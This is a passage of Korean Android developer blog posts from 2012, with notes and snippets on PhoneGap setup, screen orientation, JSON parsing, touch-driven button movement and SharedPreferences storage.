<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-sdk android:minSdkVersion="10" />

<application android:icon="@drawable/icon" android:label="@string/app_name" android:configChanges="orientation|keyboardHidden">
<activity android:name=".DemoActivity"
android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

</application>
</manifest>


/assets/www 에 index.html 파일을 만든다
<!DOCTYPE HTML>
<html>
<head>
<title>PhoneGap</title>
<script type="text/javascript" charset="utf-8" src="phonegap.js"></script>
</head>
<body>
<h1>Hello World</h1>
</body>
</html>

여기까지하고 기존 안드로이드 빌드하듯 처리 한다.
그러면 헬로 월드를 만날수 있다.

일단 오전 삽질한 결과를 기록하는건대... 이게 정확하게 맞는건지는 잘 모르겠다.
잘못된 부분이 있음 연락 주시면 수정도 하고 저도 파악좀 했음 한다..

아직도 루비가 왜 필요한지를 모르겠다... 
Posted by k1rha
2012. 3. 21. 03:03

매니페스트에 등록 activity에 아래 추가

android:screenOrientation="portrait"

Posted by k1rha
2012. 3. 21. 03:02

 public void jsonparse() {
// String Result;
String Json = "[{\"Product\":\"Mouse\", \"Maker\":\"Samsung\", \"Price\":23000},"
+ "{\"Product\":\"KeyBoard\", \"Maker\":\"LG\", \"Price\":12000},"
+ "{\"Product\":\"HDD\", \"Maker\":\"Western Digital\", \"Price\":156000}]";
try {
String Result = "주문 목록\n";
JSONArray ja = new JSONArray(Json);
for (int i = 0; i < ja.length(); i++) {
JSONObject order = ja.getJSONObject(i);
Result += "제품명:" + order.getString("Product") + ",제조사:"
+ order.getString("Maker") + ",가격"
+ order.getInt("Price") + "\n";
}
// mResult.setText(Result);
} catch (JSONException e) {
// Toast.makeText(v.getContext(), e.getMessage(), 0).show();
}

}

Posted by k1rha
2012. 3. 21. 03:01

private OnTouchListener mTouchEvent = new OnTouchListener() {
public boolean onTouch(View v, MotionEvent event) {

Button b = (Button)v;
Button Blank = (Button) findViewById(R.id.Blank);

action = event.getAction();
int pureaction = action & MotionEvent.ACTION_MASK;
int pid = (action & MotionEvent.ACTION_POINTER_ID_MASK)
>> MotionEvent.ACTION_POINTER_ID_SHIFT;


if(action == MotionEvent.ACTION_DOWN){
if(t_flag==0){
t_left=b.getLeft();
t_right=b.getRight();
t_top=b.getTop();
t_bottom=b.getBottom();
t_flag=1;
}
}
else if (action == MotionEvent.ACTION_MOVE) {



mResult.setText("bLeft : "+b.getLeft()+"bTop : "+b.getTop()+"__Left : "+(int)event.getRawX()+"Top : "+(int)event.getRawY()+"\n");
b.layout((int)event.getRawX()-40,(int)event.getRawY()-250,(int)event.getRawX()+60,(int)event.getRawY()-150);



} else if (action == MotionEvent.ACTION_UP) {
t_flag=0;
b.layout(t_left,t_top,t_right,t_bottom);
//Toast.makeText(PuzzleActivity.this,"L:"+b.getLeft()+":"+event.getX()+"T"+b.getTop()+":"+event.getY()+"R"+b.getRight()+"B"+((int)event.getX()+100)+":"+b.getBottom()+":"+((int)event.getY()-100),Toast.LENGTH_LONG).show();
//Toast.makeText(PuzzleActivity.this,"L:"+event.getX(0)+"__"+event.getY(0),Toast.LENGTH_LONG).show();

On_Click.허용되지않은 태그 사용중(b);

// b.setBackgroundResource(R.drawable.backimg2);
//System.out.println("x=" + event.getX() + " y=" + event.getY());
}
return true;
}
};

Posted by k1rha
2012. 3. 21. 03:00

http://androiddeveloper.tistory.com/56

manifast 를 건들면된다

strings.xml 에서 바꿔줘도 간단한다. 

Posted by k1rha
2012. 3. 21. 02:59

//입력부분

SharedPreferences prefs = getSharedPreferences("k1rha", MODE_PRIVATE); //환경변수 이름
SharedPreferences.Editor ed = prefs.edit(); //설정

ed.putString("SPF_user_id", user_id); //키값설정.. (식별자임)
ed.commit();


//출력 부분
// SharedPreferences prefs = getSharedPreferences("k1rha", MODE_PRIVATE); //환경변수이름으로 가져오기
getUser = prefs.getString("SPF_user_id", ""); //식별자로 가져오기

Posted by k1rha